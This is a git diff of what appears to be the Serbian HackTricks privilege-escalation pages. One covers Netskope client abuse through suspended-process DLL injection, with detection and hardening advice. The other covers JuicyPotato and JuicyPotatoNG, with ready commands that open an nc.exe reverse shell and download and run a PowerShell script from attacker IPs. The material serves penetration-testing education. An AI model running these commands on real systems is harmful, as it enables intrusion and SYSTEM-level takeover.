|
||||
1) CreateProcess vendor binarnog fajla sa CREATE_SUSPENDED.
|
||||
2) Nabavite handle‑ove koje vam je i dalje dozvoljeno: PROCESS_VM_WRITE | PROCESS_VM_OPERATION na procesu, i handle threada sa THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (ili samo THREAD_RESUME ako patchevate kod na poznatom RIP‑u).
|
||||
3) Overwrite ntdll!NtContinue (ili drugi rani, garantovano mapiran thunk) malim stubom koji poziva LoadLibraryW na putanji vaše DLL, zatim skače nazad.
|
||||
4) ResumeThread da pokrenete vaš stub unutar procesa, učitavajući vašu DLL.
|
||||
|
||||
Pošto nikada niste koristili PROCESS_CREATE_THREAD ili PROCESS_SUSPEND_RESUME na već‑zaštićenom procesu (vi ste ga kreirali), driver-ova politika je zadovoljena.
|
||||
Pošto nikada niste koristili PROCESS_CREATE_THREAD ili PROCESS_SUSPEND_RESUME na već zaštićenom procesu (vi ste ga kreirali), pravilo driver‑a je zadovoljeno.
|
||||
|
||||
---
|
||||
## 6) Practical tooling
|
||||
- NachoVPN (Netskope plugin) automatizuje rogue CA, potpisivanje malicioznog MSI-a i servisira potrebne endpoint-e: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
|
||||
- UpSkope je custom IPC client koji gradi proizvoljne (opciono AES‑šifrovane) IPC poruke i uključuje suspended‑process injection da poreklo bude iz allow‑listovanog binarnog fajla.
|
||||
- NachoVPN (Netskope plugin) automatizuje rogue CA, potpisivanje malicioznog MSI‑a, i služi potrebne endpoints: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
|
||||
- UpSkope je custom IPC klijent koji kreira proizvoljne (opciono AES‑šifrovane) IPC poruke i uključuje injekciju preko suspendovanog procesa da potiče iz allow‑listovanog binarnog fajla.
|
||||
|
||||
---
|
||||
## 7) Detection opportunities (blue team)
|
||||
- Monitorisati dodatke u Local Machine Trusted Root. Sysmon + registry‑mod eventing (vidi SpecterOps guidance) dobro rade.
|
||||
- Flagovati MSI izvršenja pokrenuta od strane agentovog servisa iz putanja kao što su C:\ProgramData\<vendor>\<agent>\data\*.msi.
|
||||
- Pregledati agent logove za neočekivane enrollment hostove/tenant-e, npr.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – tražiti addonUrl / tenant anomalije i provisioning msg 148.
|
||||
- Alertovati na localhost IPC klijente koji nisu očekivani signed binari, ili koji potiču iz neuobičajenih child process tree-ova.
|
||||
- Monitor additions to Local Machine Trusted Root. Sysmon + registry‑mod eventing (see SpecterOps guidance) works well.
|
||||
- Flag MSI executions initiated by the agent’s service from paths like C:\ProgramData\<vendor>\<agent>\data\*.msi.
|
||||
- Review agent logs for unexpected enrollment hosts/tenants, e.g.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – look for addonUrl / tenant anomalies and provisioning msg 148.
|
||||
- Alert on localhost IPC clients that are not the expected signed binaries, or that originate from unusual child process trees.
|
||||
|
||||
---
|
||||
## Hardening tips for vendors
|
||||
- Bind enrollment/update hostove na strogu allow‑listu; odbijajte nepouzdane domene u clientcode-u.
|
||||
- Autentifikujte IPC peer‑ove OS primitivima (ALPC security, named‑pipe SIDs) umesto provera image path/name.
|
||||
- Držite tajni materijal van world‑readable HKLM; ako IPC mora biti enkriptovan, izvedite ključeve iz zaštićenih secret-a ili pregovarajte preko autentifikovanih kanala.
|
||||
- Tretirajte updater kao supply‑chain površinu: zahtevajte pun lanac do trusted CA koju kontrolišete, verifikujte potpis paketa prema pinned ključevima i fail‑closed ako je validacija onemogućena u konfiguraciji.
|
||||
- Bind enrollment/update hosts to a strict allow‑list; reject untrusted domains in clientcode.
|
||||
- Authenticate IPC peers with OS primitives (ALPC security, named‑pipe SIDs) instead of image path/name checks.
|
||||
- Keep secret material out of world‑readable HKLM; if IPC must be encrypted, derive keys from protected secrets or negotiate over authenticated channels.
|
||||
- Treat the updater as a supply‑chain surface: require a full chain to a trusted CA you control, verify package signatures against pinned keys, and fail closed if validation is disabled in config.
|
||||
|
||||
## References
|
||||
- [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/)
|
||||
|
@ -2,60 +2,60 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING] > JuicyPotato je zastareo. Obično radi na Windows verzijama do Windows 10 1803 / Windows Server 2016. Microsoft-ove promene uvedene počevši od Windows 10 1809 / Server 2019 pokvarile su originalnu tehniku. Za te buildove i novije, razmotrite moderne alternative kao što su PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato i druge. Pogledajte stranicu ispod za ažurirane opcije i upotrebu.
|
||||
> [!WARNING] > JuicyPotato je zastareo. Generalno radi na Windows verzijama do Windows 10 1803 / Windows Server 2016. Microsoftove izmene uvedene počevši od Windows 10 1809 / Server 2019 polomile su originalnu tehniku. Za te build-ove i novije, razmotrite modernije alternative kao što su PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato i druge. Pogledajte stranicu ispod za ažurne opcije i upotrebu.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
roguepotato-and-printspoofer.md
|
||||
{{#endref}}
|
||||
|
||||
## Juicy Potato (zloupotreba zlatnih privilegija) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
|
||||
## Juicy Potato (abusing the golden privileges) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
|
||||
|
||||
_Uslatka verzija_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, sa malo 'soka', tj. **još jedan alat za Local Privilege Escalation, od Windows Service Accounts do NT AUTHORITY\SYSTEM**_
|
||||
_Zaslađena verzija_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, sa malo “juice”-a, tj. **još jedan Local Privilege Escalation tool, koji omogućava eskalaciju iz Windows Service Accounts na NT AUTHORITY\SYSTEM**_
|
||||
|
||||
#### Možete preuzeti juicypotato sa [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
|
||||
#### You can download juicypotato from [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
|
||||
|
||||
### Kratke napomene o kompatibilnosti
|
||||
### Compatibility quick notes
|
||||
|
||||
- Radi pouzdano do Windows 10 1803 i Windows Server 2016 kada trenutni kontekst ima SeImpersonatePrivilege ili SeAssignPrimaryTokenPrivilege.
|
||||
- Prekinuto zbog Microsoft-ovog hardeninga u Windows 10 1809 / Windows Server 2019 i novijim. Za te buildove koristite alternativе navedene gore.
|
||||
- Pouzdano radi do Windows 10 1803 i Windows Server 2016 kada trenutni kontekst ima SeImpersonatePrivilege ili SeAssignPrimaryTokenPrivilege.
|
||||
- Polomljeno promenama hardening-a koje je Microsoft uveo u Windows 10 1809 / Windows Server 2019 i kasnije. Za te build-ove preferirajte alternative povezane iznad.
|
||||
|
||||
### Sažetak <a href="#summary" id="summary"></a>
|
||||
### Summary <a href="#summary" id="summary"></a>
|
||||
|
||||
[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
|
||||
|
||||
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) i njegove [variants](https://github.com/decoder-it/lonelypotato) koriste lanac eskalacije privilegija zasnovan na `BITS` [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) koji ima MiTM listener na `127.0.0.1:6666` i kada imate `SeImpersonate` ili `SeAssignPrimaryToken` privilegije. Tokom pregleda Windows build-a otkrili smo podešavanje gde je `BITS` namerno onemogućen i port `6666` je bio zauzet.
|
||||
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) i njegove [varijante](https://github.com/decoder-it/lonelypotato) iskorišćavaju lanac eskalacije privilegija zasnovan na [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) koji ima MiTM listener na `127.0.0.1:6666` kada imate SeImpersonate ili SeAssignPrimaryToken privilegije. Tokom pregleda build-a Windows-a otkrili smo setup gde je `BITS` namerno onemogućen i port `6666` bio zauzet.
|
||||
|
||||
Odlučili smo da weaponizujemo [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **upoznajte Juicy Potato**.
|
||||
Odlučili smo da weaponizujemo [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Upoznajte Juicy Potato**.
|
||||
|
||||
> Za teoriju, pogledajte [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) i pratite lanac linkova i referenci.
|
||||
|
||||
Otkrili smo da, pored `BITS`, postoji nekoliko COM servera koje možemo zloupotrebiti. Oni samo treba da:
|
||||
Otkrili smo da, pored `BITS`, postoji nekoliko COM servera koje možemo zloupotrebiti. Oni samo moraju:
|
||||
|
||||
1. budu instancirani od strane trenutnog korisnika, obično "service user" koji ima impersonation privilegije
|
||||
2. implementiraju `IMarshal` interfejs
|
||||
3. pokreću se kao elevirani korisnik (SYSTEM, Administrator, …)
|
||||
1. biti instancirani od strane trenutnog user-a, obično “service user” koji ima impersonation privilegije
|
||||
2. implementirati `IMarshal` interfejs
|
||||
3. raditi kao elevovan user (SYSTEM, Administrator, …)
|
||||
|
||||
Nakon testiranja dobili smo i isprobali opsežnu listu interesantnih CLSID-ova na više Windows verzija.
|
||||
Nakon testiranja dobili smo i testirali opsežnu listu [interesting CLSID’s](http://ohpe.it/juicy-potato/CLSID/) na nekoliko Windows verzija.
|
||||
|
||||
### Sočni detalji <a href="#juicy-details" id="juicy-details"></a>
|
||||
### Juicy details <a href="#juicy-details" id="juicy-details"></a>
|
||||
|
||||
JuicyPotato vam omogućava:
|
||||
|
||||
- **Target CLSID** _izaberite bilo koji CLSID koji želite._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _možete naći listu organizovanu po OS-u._
|
||||
- **COM Listening port** _definišite COM listening port koji preferirate (umesto marshalled hardcoded 6666)_
|
||||
- **COM Listening IP address** _povežite server na bilo koji IP_
|
||||
- **Process creation mode** _u zavisnosti od privilegija impostiranog korisnika možete izabrati između:_
|
||||
- `CreateProcessWithToken` (needs `SeImpersonate`)
|
||||
- `CreateProcessAsUser` (needs `SeAssignPrimaryToken`)
|
||||
- **Target CLSID** _izaberite bilo koji CLSID koji želite._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _možete pronaći listu organizovanu po OS-u._
|
||||
- **COM Listening port** _definišite COM listening port koji preferirate (umesto hardkodovanog 6666)_
|
||||
- **COM Listening IP address** _vežite server na bilo koji IP_
|
||||
- **Process creation mode** _u zavisnosti od privilegija impersoniranog user-a možete birati između:_
|
||||
- `CreateProcessWithToken` (zahteva `SeImpersonate`)
|
||||
- `CreateProcessAsUser` (zahteva `SeAssignPrimaryToken`)
|
||||
- `both`
|
||||
- **Process to launch** _pokrenite izvršni fajl ili skriptu ako eksploatacija uspe_
|
||||
- **Process Argument** _prilagodite argumente pokrenutog procesa_
|
||||
- **RPC Server address** _za prikriven pristup možete se autentifikovati na eksterni RPC server_
|
||||
- **RPC Server port** _korisno ako se želite autentifikovati na eksterni server i firewall blokira port `135`…_
|
||||
- **TEST mode** _uglavnom za testiranje, npr. testiranje CLSID-ova. Kreira DCOM i ispisuje korisnika tokena. Pogledajte_ [_here for testing_](http://ohpe.it/juicy-potato/Test/)
|
||||
- **RPC Server address** _za stealth pristup možete da se autentifikujete prema eksternom RPC serveru_
|
||||
- **RPC Server port** _korisno ako želite da se autentifikujete prema eksternom serveru a firewall blokira port `135`…_
|
||||
- **TEST mode** _uglavnom za testiranje, npr. testiranje CLSID-ova. Kreira DCOM i štampa user token-a. Pogledajte_ [_here for testing_](http://ohpe.it/juicy-potato/Test/)
|
||||
|
||||
### Korišćenje <a href="#usage" id="usage"></a>
|
||||
### Usage <a href="#usage" id="usage"></a>
|
||||
```
|
||||
T:\>JuicyPotato.exe
|
||||
JuicyPotato v0.1
|
||||
@ -72,30 +72,30 @@ Optional args:
|
||||
-k <ip>: RPC server ip address (default 127.0.0.1)
|
||||
-n <port>: RPC server listen port (default 135)
|
||||
```
|
||||
### Završne misli <a href="#final-thoughts" id="final-thoughts"></a>
|
||||
### Final thoughts <a href="#final-thoughts" id="final-thoughts"></a>
|
||||
|
||||
[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
|
||||
|
||||
Ako korisnik ima privilegije `SeImpersonate` ili `SeAssignPrimaryToken` onda ste **SYSTEM**.
|
||||
Ako korisnik ima `SeImpersonate` ili `SeAssignPrimaryToken` privilegije, onda ste **SYSTEM**.
|
||||
|
||||
Gotovo je nemoguće sprečiti zloupotrebu svih ovih COM Servers. Možete razmotriti izmenu permisija ovih objekata preko `DCOMCNFG`, ali srećno — biće to izazovno.
|
||||
Gotovo je nemoguće sprečiti zloupotrebu svih ovih COM Servers. Možete razmisliti o izmeni dozvola za ove objekte putem `DCOMCNFG`, ali srećno — biće izazovno.
|
||||
|
||||
Pravo rešenje je zaštititi osetljive naloge i aplikacije koje rade pod `* SERVICE` nalozima. Zaustavljanje `DCOM` bi svakako omelo ovaj exploit ali bi moglo imati ozbiljan uticaj na osnovni OS.
|
||||
Pravo rešenje je zaštititi osetljive naloge i aplikacije koje rade pod `* SERVICE` nalozima. Zaustavljanje `DCOM` sigurno bi omelo ovaj exploit, ali bi moglo imati ozbiljan uticaj na osnovni OS.
|
||||
|
||||
From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
|
||||
|
||||
## JuicyPotatoNG (2022+)
|
||||
|
||||
JuicyPotatoNG ponovo uvodi JuicyPotato-style lokalnu eskalaciju privilegija na modernim Windows sistemima kombinujući:
|
||||
- DCOM OXID resolution do lokalnog RPC servera na izabranom portu, izbegavajući stari hardkodovani 127.0.0.1:6666 listener.
|
||||
- SSPI hook za hvatanje i impersonaciju dolazne SYSTEM autentikacije bez potrebe za RpcImpersonateClient, što takođe omogućava CreateProcessAsUser kada je prisutna samo SeAssignPrimaryTokenPrivilege.
|
||||
- Trikovi da se zadovolje DCOM ograničenja aktivacije (npr. raniji zahtev INTERACTIVE-group kada se ciljaju PrintNotify / ActiveX Installer Service klase).
|
||||
JuicyPotatoNG ponovo uvodi JuicyPotato-stil local privilege escalation na modernim Windows sistemima kombinovanjem:
|
||||
- DCOM OXID resolution to a local RPC server on a chosen port, avoiding the old hardcoded 127.0.0.1:6666 listener.
|
||||
- An SSPI hook to capture and impersonate the inbound SYSTEM authentication without requiring RpcImpersonateClient, which also enables CreateProcessAsUser when only SeAssignPrimaryTokenPrivilege is present.
|
||||
- Trikovi da zadovolje DCOM activation constraints (e.g., the former INTERACTIVE-group requirement when targeting PrintNotify / ActiveX Installer Service classes).
|
||||
|
||||
Važne napomene (ponašanje se menja kroz build-ove):
|
||||
Important notes (evolving behavior across builds):
|
||||
- September 2022: Početna tehnika je radila na podržanim Windows 10/11 i Server ciljevima koristeći “INTERACTIVE trick”.
|
||||
- January 2023 ažuriranje od autora: Microsoft je kasnije blokirao INTERACTIVE trick. Drugi CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) vraća mogućnost exploita ali samo na Windows 11 / Server 2022 prema njihovom postu.
|
||||
- January 2023 update from the authors: Microsoft je kasnije blokirao INTERACTIVE trick. Drugi CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) ponovo omogućava exploit, ali samo na Windows 11 / Server 2022 prema njihovom postu.
|
||||
|
||||
Osnovna upotreba (više opcija u help-u):
|
||||
Basic usage (more flags in the help):
|
||||
```
|
||||
JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
|
||||
# Useful helpers:
|
||||
@ -103,13 +103,13 @@ JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
|
||||
# -s Scan for a COM port not filtered by Windows Defender Firewall
|
||||
# -i Interactive console (only with CreateProcessAsUser)
|
||||
```
|
||||
Ako ciljate Windows 10 1809 / Server 2019 gde je classic JuicyPotato zakrpljen, preferirajte alternative linkovane na vrhu (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, itd.). NG može biti situacioni u zavisnosti od build-a i stanja servisa.
|
||||
Ako ciljate Windows 10 1809 / Server 2019 gde je classic JuicyPotato ispravljen, koristite alternative navedene na vrhu (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, itd.). NG može biti situacioni u zavisnosti od build-a i stanja servisa.
|
||||
|
||||
## Primeri
|
||||
|
||||
Napomena: Posetite [this page](https://ohpe.it/juicy-potato/CLSID/) za listu CLSID-ova koje možete probati.
|
||||
Napomena: Posetite [this page](https://ohpe.it/juicy-potato/CLSID/) za listu CLSIDs koje možete isprobati.
|
||||
|
||||
### Dobijte nc.exe reverse shell
|
||||
### Nabavite nc.exe reverse shell
|
||||
```
|
||||
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
|
||||
|
||||
@ -126,25 +126,25 @@ c:\Users\Public>
|
||||
```
|
||||
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
|
||||
```
|
||||
### Pokrenite novi CMD (ako imate RDP pristup)
|
||||
### Pokreni novi CMD (ako imaš RDP pristup)
|
||||
|
||||
.png>)
|
||||
|
||||
## Problemi sa CLSID-om
|
||||
## Problemi sa CLSID
|
||||
|
||||
Često podrazumevani CLSID koji JuicyPotato koristi **ne radi** i exploit ne uspeva. Obično je potrebno više pokušaja da se pronađe **funkcionalni CLSID**. Da biste dobili listu CLSID-ova koje treba pokušati za određeni operativni sistem, posetite ovu stranicu:
|
||||
Često podrazumevani CLSID koji JuicyPotato koristi **ne radi** i exploit ne uspe. Obično je potrebno više pokušaja da se pronađe **radni CLSID**. Da biste dobili listu CLSID-ova koje treba probati za određeni operativni sistem, posetite ovu stranicu:
|
||||
|
||||
- [https://ohpe.it/juicy-potato/CLSID/](https://ohpe.it/juicy-potato/CLSID/)
|
||||
|
||||
### **Provera CLSID-ova**
|
||||
|
||||
Prvo će vam trebati neki izvršni fajlovi pored juicypotato.exe.
|
||||
Prvo će vam trebati neki izvršni fajlovi osim juicypotato.exe.
|
||||
|
||||
Download [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) i učitajte ga u vašu PS sesiju, i download-ujte i izvršite [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Taj skript će napraviti listu mogućih CLSID-ova za testiranje.
|
||||
Preuzmite [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) i učitajte ga u vašu PS sesiju, zatim preuzmite i izvršite [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Taj skript će napraviti listu mogućih CLSID-ova za testiranje.
|
||||
|
||||
Zatim download-ujte [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat) (promenite putanju do liste CLSID-ova i do juicypotato izvršnog fajla) i izvršite ga. Počeće da isprobava svaki CLSID, i **kada se broj porta promeni, to znači da je CLSID radio**.
|
||||
Zatim preuzmite [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(promenite putanju do liste CLSID-ova i do juicypotato izvršne datoteke) i pokrenite ga. Počeće da pokušava svaki CLSID, i **kada se broj porta promeni, to znači da je CLSID funkcionisao**.
|
||||
|
||||
**Proverite** funkcionalne CLSID-ove **koristeći parametar -c**
|
||||
**Proverite** radne CLSID-ove **koristeći parametar -c**
|
||||
|
||||
## References
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user